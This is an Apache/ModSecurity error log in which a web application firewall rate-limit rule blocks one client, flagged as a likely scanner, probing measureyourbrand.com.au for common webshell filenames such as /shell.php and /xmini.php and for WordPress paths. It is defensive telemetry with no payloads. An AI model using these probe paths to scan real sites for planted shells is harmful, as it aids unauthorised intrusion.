[Sun May 03 09:54:15.754390 2026] [:error] [pid 40456:tid 40459] [client 172.173.121.85:5718] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "afaqxzSujTvwdzEkjSf0bAAAAYE"]
[Sun May 03 09:54:16.481322 2026] [:error] [pid 40386:tid 40399] [client 172.173.121.85:30303] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Xx.php"] [unique_id "afaqyFHJDYRXUf3IbRTtFAAAAMs"]
[Sun May 03 09:54:17.989608 2026] [:error] [pid 40456:tid 40468] [client 172.173.121.85:30289] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Xx.php"] [unique_id "afaqyTSujTvwdzEkjSf0bQAAAYo"]
[Sun May 03 09:54:18.445836 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:30284] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Xx.php"] [unique_id "afaqyjSujTvwdzEkjSf0bgAAAZY"]
[Sun May 03 09:54:18.833317 2026] [:error] [pid 40456:tid 40476] [client 172.173.121.85:30320] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Xx.php"] [unique_id "afaqyjSujTvwdzEkjSf0cAAAAZI"]
[Sun May 03 09:54:19.215431 2026] [:error] [pid 37126:tid 37166] [client 172.173.121.85:30229] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmini.php"] [unique_id "afaqy_R_A42N-LtDyrvq6QAAAA0"]
[Sun May 03 09:54:20.211719 2026] [:error] [pid 37130:tid 37217] [client 172.173.121.85:30226] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmini.php"] [unique_id "afaqzKIu7bmXKXicRk9E7AAAAIQ"]
[Sun May 03 09:54:20.633186 2026] [:error] [pid 37130:tid 37234] [client 172.173.121.85:6101] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmini.php"] [unique_id "afaqzKIu7bmXKXicRk9E7gAAAJU"]
[Sun May 03 09:54:21.581171 2026] [:error] [pid 40422:tid 40426] [client 172.173.121.85:30215] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xmini.php"] [unique_id "afaqzUHBbBLrXh6PBuuuOAAAAUA"]
[Sun May 03 09:54:21.972678 2026] [:error] [pid 37130:tid 37228] [client 172.173.121.85:30334] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2468.php"] [unique_id "afaqzaIu7bmXKXicRk9E7wAAAI8"]
[Sun May 03 09:54:22.399801 2026] [:error] [pid 40422:tid 40448] [client 172.173.121.85:30301] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2468.php"] [unique_id "afaqzkHBbBLrXh6PBuuuOQAAAVY"]
[Sun May 03 09:54:22.814341 2026] [:error] [pid 37127:tid 37207] [client 172.173.121.85:30292] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2468.php"] [unique_id "afaqzv8khJXb5O5aWVXypQAAAFU"]
[Sun May 03 09:54:24.280425 2026] [:error] [pid 40456:tid 40462] [client 172.173.121.85:30298] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2468.php"] [unique_id "afaq0DSujTvwdzEkjSf0dAAAAYQ"]
[Sun May 03 09:54:24.766285 2026] [:error] [pid 40456:tid 40478] [client 172.173.121.85:30210] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afaq0DSujTvwdzEkjSf0dQAAAZQ"]
[Sun May 03 09:54:25.283860 2026] [:error] [pid 37246:tid 37263] [client 172.173.121.85:30327] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afaq0ThvYFGNwhnPamqY6wAAAQ0"]
[Sun May 03 09:54:25.661507 2026] [:error] [pid 40456:tid 40480] [client 172.173.121.85:30332] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afaq0TSujTvwdzEkjSf0eAAAAZY"]
[Sun May 03 09:54:26.192333 2026] [:error] [pid 40422:tid 40442] [client 172.173.121.85:30255] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "afaq0kHBbBLrXh6PBuuuPAAAAVA"]
[Sun May 03 09:54:26.641192 2026] [:error] [pid 40456:tid 40467] [client 172.173.121.85:30333] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "afaq0jSujTvwdzEkjSf0eQAAAYk"]
[Sun May 03 09:54:34.112141 2026] [:error] [pid 37246:tid 37265] [client 172.173.121.85:30237] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afaq2jhvYFGNwhnPamqZDQAAAQ8"]
[Sun May 03 09:54:34.527019 2026] [:error] [pid 40422:tid 40431] [client 172.173.121.85:30257] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afaq2kHBbBLrXh6PBuuuRgAAAUU"]
[Sun May 03 09:54:35.026985 2026] [:error] [pid 40456:tid 40478] [client 172.173.121.85:30308] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afaq2zSujTvwdzEkjSf0fgAAAZQ"]
[Sun May 03 09:54:35.507313 2026] [:error] [pid 40456:tid 40473] [client 172.173.121.85:6099] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/popo.php"] [unique_id "afaq2zSujTvwdzEkjSf0fwAAAY8"]
[Sun May 03 09:54:35.939970 2026] [:error] [pid 40422:tid 40445] [client 172.173.121.85:6110] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afaq20HBbBLrXh6PBuuuSwAAAVM"]
[Sun May 03 09:54:36.366791 2026] [:error] [pid 40456:tid 40472] [client 172.173.121.85:30330] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afaq3DSujTvwdzEkjSf0gAAAAY4"]
[Sun May 03 09:54:37.453114 2026] [:error] [pid 40422:tid 40433] [client 172.173.121.85:30272] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afaq3UHBbBLrXh6PBuuuTQAAAUc"]
[Sun May 03 09:54:38.073522 2026] [:error] [pid 40422:tid 40427] [client 172.173.121.85:30272] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/13.php"] [unique_id "afaq3kHBbBLrXh6PBuuuTwAAAUE"]
[Sun May 03 09:54:38.544244 2026] [:error] [pid 37126:tid 37170] [client 172.173.121.85:30311] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afaq3vR_A42N-LtDyrvq7wAAABE"]
[Sun May 03 09:54:38.924058 2026] [:error] [pid 37126:tid 37161] [client 172.173.121.85:30306] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afaq3vR_A42N-LtDyrvq8QAAAAg"]
[Sun May 03 09:54:39.813067 2026] [:error] [pid 37126:tid 37159] [client 172.173.121.85:30238] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afaq3_R_A42N-LtDyrvq9AAAAAY"]
[Sun May 03 09:54:41.263750 2026] [:error] [pid 37127:tid 37206] [client 172.173.121.85:6105] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afaq4f8khJXb5O5aWVXyqQAAAFQ"]
[Sun May 03 09:54:41.673962 2026] [:error] [pid 37127:tid 37201] [client 172.173.121.85:30245] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afaq4f8khJXb5O5aWVXyqgAAAFA"]
[Sun May 03 09:54:42.070413 2026] [:error] [pid 40422:tid 40445] [client 172.173.121.85:30211] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afaq4kHBbBLrXh6PBuuuUwAAAVM"]
[Sun May 03 09:54:42.451862 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:6116] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afaq4kHBbBLrXh6PBuuuVQAAAUI"]
[Sun May 03 09:54:42.846556 2026] [:error] [pid 40422:tid 40440] [client 172.173.121.85:30225] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afaq4kHBbBLrXh6PBuuuWQAAAU4"]
[Sun May 03 09:54:43.273302 2026] [:error] [pid 40456:tid 40464] [client 172.173.121.85:6109] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afaq4zSujTvwdzEkjSf0hQAAAYY"]
[Sun May 03 09:54:43.672868 2026] [:error] [pid 40386:tid 40391] [client 172.173.121.85:30285] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afaq41HJDYRXUf3IbRTtGgAAAMM"]
[Sun May 03 09:54:44.056035 2026] [:error] [pid 40422:tid 40444] [client 172.173.121.85:30326] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afaq5EHBbBLrXh6PBuuuXQAAAVI"]
[Sun May 03 09:54:44.887730 2026] [:error] [pid 40422:tid 40428] [client 172.173.121.85:6086] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afaq5EHBbBLrXh6PBuuuYAAAAUI"]
[Sun May 03 09:54:45.318564 2026] [:error] [pid 37127:tid 37191] [client 172.173.121.85:30270] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afaq5f8khJXb5O5aWVXyqwAAAEc"]
[Sun May 03 09:54:45.772180 2026] [:error] [pid 37127:tid 37199] [client 172.173.121.85:6083] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afaq5f8khJXb5O5aWVXyrAAAAE4"]
[Sun May 03 09:54:46.289591 2026] [:error] [pid 40386:tid 40407] [client 172.173.121.85:6107] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afaq5lHJDYRXUf3IbRTtGwAAANM"]
[Sun May 03 09:54:46.667595 2026] [:error] [pid 37127:tid 37210] [client 172.173.121.85:30266] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afaq5v8khJXb5O5aWVXysAAAAFg"]
[Sun May 03 09:54:47.053829 2026] [:error] [pid 40456:tid 40478] [client 172.173.121.85:6087] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afaq5zSujTvwdzEkjSf0hwAAAZQ"]
[Sun May 03 09:54:47.676728 2026] [:error] [pid 37130:tid 37221] [client 172.173.121.85:6097] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afaq56Iu7bmXKXicRk9E-QAAAIg"]
[Sun May 03 09:54:48.084570 2026] [:error] [pid 37130:tid 37215] [client 172.173.121.85:30242] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afaq6KIu7bmXKXicRk9E-gAAAII"]
[Sun May 03 09:54:48.460977 2026] [:error] [pid 37126:tid 37152] [client 172.173.121.85:5724] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afaq6PR_A42N-LtDyrvq9gAAAAE"]
[Sun May 03 09:54:48.890730 2026] [:error] [pid 40386:tid 40388] [client 172.173.121.85:6091] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "afaq6FHJDYRXUf3IbRTtHQAAAMA"]
[Sun May 03 09:54:49.342330 2026] [:error] [pid 37130:tid 37213] [client 172.173.121.85:6109] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "afaq6aIu7bmXKXicRk9E_AAAAIA"]
[Sun May 03 09:54:49.724875 2026] [:error] [pid 37130:tid 37218] [client 172.173.121.85:30268] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "afaq6aIu7bmXKXicRk9E_QAAAIU"]
[Sun May 03 09:54:50.248104 2026] [:error] [pid 37130:tid 37226] [client 172.173.121.85:5707] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "afaq6qIu7bmXKXicRk9E_gAAAI0"]
[Sun May 03 09:54:50.679898 2026] [:error] [pid 37127:tid 37206] [client 172.173.121.85:30294] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afaq6v8khJXb5O5aWVXyswAAAFQ"]
[Sun May 03 09:54:51.925184 2026] [:error] [pid 37127:tid 37205] [client 172.173.121.85:30265] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afaq6_8khJXb5O5aWVXytgAAAFM"]
[Sun May 03 09:54:52.567638 2026] [:error] [pid 40422:tid 40449] [client 172.173.121.85:5139] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afaq7EHBbBLrXh6PBuuuZgAAAVc"]
[Sun May 03 09:54:53.059627 2026] [:error] [pid 37126:tid 37157] [client 172.173.121.85:30286] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afaq7fR_A42N-LtDyrvq-QAAAAQ"]
[Sun May 03 09:54:53.530811 2026] [:error] [pid 40386:tid 40411] [client 172.173.121.85:30233] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afaq7VHJDYRXUf3IbRTtIgAAANc"]
[Sun May 03 09:54:54.561775 2026] [:error] [pid 37126:tid 37151] [client 172.173.121.85:30291] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afaq7vR_A42N-LtDyrvq-gAAAAA"]
